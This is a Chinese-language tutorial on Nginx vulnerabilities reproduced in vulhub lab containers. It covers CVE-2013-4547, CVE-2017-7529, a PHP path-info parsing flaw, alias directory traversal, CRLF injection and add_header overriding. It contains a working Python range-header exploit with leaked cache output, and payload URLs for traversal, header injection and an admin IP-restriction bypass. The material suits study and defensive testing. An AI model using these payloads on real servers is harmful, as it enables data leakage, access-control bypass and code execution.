文件名逻辑漏洞(CVE-2013-4547)

影响版本：Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
利用条件：

  1. php-fpm.conf中的security.limit_extensions为空，也就是说任意后缀名都可以解析为PHP

漏洞说明：
这个漏洞其实和代码执行没有太大关系，其主要原因是错误地解析了请求的URI，错误地获取到用户请求的文件名，导致出现权限绕过、代码执行的连带影响。

举个例子，比如，Nginx匹配到.php结尾的请求，就发送给fastcgi进行解析，常见的写法如下：

  1. location ~ \.php$ {
  2.     include        fastcgi_params;
  3.     fastcgi_pass   127.0.0.1:9000;
  4.     fastcgi_index  index.php;
  5.     fastcgi_param  SCRIPT_FILENAME  /var/www/html$fastcgi_script_name;
  6.     fastcgi_param  DOCUMENT_ROOT /var/www/html;
  7. }

正常情况下（关闭pathinfo的情况下），只有.php后缀的文件才会被发送给fastcgi解析。

而存在CVE-2013-4547的情况下，我们请求1.gif[0x20][0x00].php，这个URI可以匹配上正则\.php$，可以进入这个Location块；但进入后，Nginx却错误地认为请求的文件是1.gif[0x20]，就设置其为SCRIPT_FILENAME的值发送给fastcgi。

fastcgi根据SCRIPT_FILENAME的值进行解析，最后造成了解析漏洞。所以，我们只需要上传一个空格结尾的文件，即可使PHP解析之。

再举个例子，比如很多网站限制了允许访问后台的IP：

  1. location /admin/ {
  2.     allow 127.0.0.1;
  3.     deny all;
  4. }

我们可以请求如下URI：/test[0x20]/../admin/index.php，这个URI不会匹配上location后面的/admin/，也就绕过了其中的IP验证；但最后请求的是/test[0x20]/../admin/index.php文件，也就是/admin/index.php，成功访问到后台。（这个前提是需要有一个目录叫test：这是Linux系统的特点，如果有一个不存在的目录，则即使跳转到上一层，也会爆文件不存在的错误，Windows下没有这个限制）
Nginx解析漏洞(CVE-2013-4547)

Nginx越界读取缓存漏洞(CVE-2017-7529)

影响版本：Nginx 0.5.6 ~ 1.13.2
漏洞说明：
Nginx在反向代理站点的时候，通常会将一些文件进行缓存，特别是静态文件。缓存的部分存储在文件中，每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。如果二次请求命中了该缓存文件，则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。

如果我的请求中包含Range头，Nginx将会根据我指定的start和end位置，返回指定长度的内容。而如果我构造了两个负的位置，如(-600, -9223372036854774591)，将可能读取到负位置的数据。如果这次请求又命中了缓存文件，则可能就可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。
漏洞复现：
使用vulhub的环境，docker-compose up -d起一个docker。
宿主机访问http://ip:8080看到nginx默认页面。
payload：

  1. #!/usr/bin/env python
  2. import sys
  3. import requests
  5. if len(sys.argv) < 2:
  6.     print("%s url" % (sys.argv[0]))
  7.     print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
  8.     sys.exit()
  10. headers = {
  11.     'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
  12. }
  13. offset = 605
  14. url = sys.argv[1]
  15. file_len = len(requests.get(url, headers=headers).content)
  16. n = file_len + offset
  17. headers['Range'] = "bytes=-%d,-%d" % (
  18.     n, 0x8000000000000000 - n)
  20. r = requests.get(url, headers=headers)
  21. print(r.text)

执行脚本，成功读取到缓存文件头

  1. --00000000000000000002
  2. Content-Type: text/html; charset=utf-8
  3. Content-Range: bytes -605-611/612
  5. døÕ_b`RY
  6.         öÕ_r«\me"59526062-264"
  7. KEY: http://127.0.0.1:8081/
  8. HTTP/1.1 200 OK
  9. Server: nginx/1.13.2
  10. Date: Sun, 13 Dec 2020 11:07:56 GMT
  11. Content-Type: text/html; charset=utf-8
  12. Content-Length: 612
  13. Last-Modified: Tue, 27 Jun 2017 13:40:50 GMT
  14. Connection: close
  15. ETag: "59526062-264"
  16. Accept-Ranges: bytes
  18. <!DOCTYPE html>
  19. <html>
  20. <head>
  21. <title>Welcome to nginx!</title>
  22. <style>
  23.     body {
  24.         width: 35em;
  25.         margin: 0 auto;
  26.         font-family: Tahoma, Verdana, Arial, sans-serif;
  27.     }
  28. </style>
  29. </head>
  30. <body>
  31. <h1>Welcome to nginx!</h1>
  32. <p>If you see this page, the nginx web server is successfully installed and
  33. working. Further configuration is required.</p>
  35. <p>For online documentation and support please refer to
  36. <a href="http://nginx.org/">nginx.org</a>.<br/>
  37. Commercial support is available at
  38. <a href="http://nginx.com/">nginx.com</a>.</p>
  40. <p><em>Thank you for using nginx.</em></p>
  41. </body>
  42. </html>
  44. --00000000000000000002
  45. Content-Type: text/html; charset=utf-8
  46. Content-Range: bytes -9223372036854773979-611/612

Nginx 解析漏洞

影响版本：

  • Nginx 1.x 最新版
  • PHP 7.x最新版

利用条件：

  • cgi.fix_pathinfo = 1
  • security.limit_extensions为空

漏洞说明：
和CVE-2013-4547很像，但是产生原因有少许不同。
此漏洞产生原因在于当cgi.fix_pathinfo = 1时，Nginx会对路径进行“修复”。

当php遇到文件路径/aaa.xxx/bbb.yyy/ccc.zzz时，若/aaa.xxx/bbb.yyy/ccc.zzz不存在，则会去掉最后的/ccc.zzz，然后判断/aaa.xxx/bbb.yyy是否存在，若存在，则把/aaa.xxx/bbb.yyy当做文件/aaa.xxx/bbb.yyy/ccc.zzz，若/aaa.xxx/bbb.yyy仍不存在，则继续去掉/bbb.yyy，以此类推。

首先请求的url为http://your-ip/uploadfiles/nginx.png/1.php，Nginx一看后缀是.php，便认为该文件是php文件，转交给php去处理。php一看/test.jpg/test.php不存在，便删去最后的1.php，又看nginx.png存在，便把nginx.png当成要执行的文件了。
漏洞复现：
docker-compose up -d启动容器。
访问http://your-ip/uploadfiles/nginx.png和http://your-ip/uploadfiles/nginx.png/.php即可查看效果。

Nginx配置不当

目录穿越漏洞

漏洞说明：
在如下配置中设置目录别名时/files配置为/home/的别名,那么当我们访问/files../时,nginx实际处理的路径时/home/../,从而实现了穿越目录

  1. location /files {
  2.     alias /home/;
  3. }

payload：

  1. Payload: http://your-ip:8080/files../

CRLF注入

Nginx会将$uri进行解码，导致传入%0a%0d即可引入换行符，造成CRLF注入漏洞。
错误配置：

  1. location / {
  2.     return 302 https://$host$uri;
  3. }

原本的目的是为了让http的请求跳转到https上，但是当访问http://your-ip:8080/%0a%0dSet-Cookie:%20a=1时，Nginx会将$uri进行解码，导致传入%0a%0d即可引入换行符，最后注入Set-Cookie头。

add_header被覆盖

Nginx配置文件子块（server、location、if）中的add_header，将会覆盖父块中的add_header添加的HTTP头，造成一些安全隐患。
如下列代码，整站（父块中）添加了CSP头：

  1. add_header Content-Security-Policy "default-src 'self'";
  2. add_header X-Frame-Options DENY;
  4. location = /test1 {
  5.     rewrite ^(.*)$ /xss.html break;
  6. }
  8. location = /test2 {
  9.     add_header X-Content-Type-Options nosniff;
  10.     rewrite ^(.*)$ /xss.html break;
  11. }

但/test2的location中又添加了X-Content-Type-Options头，导致父块中的add_header全部失效：
image.png
触发xss
image.png